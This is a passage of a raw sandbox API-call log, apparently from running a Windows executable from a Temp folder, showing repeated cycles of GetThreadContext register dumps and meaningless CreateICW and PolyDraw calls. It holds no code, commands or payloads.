	[0066.136] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.136] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.136] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.136] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.136] GetConsoleCP () returned 0x0
	[0066.136] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.136] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.137] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.137] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.137] GetConsoleCP () returned 0x0
	[0066.137] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 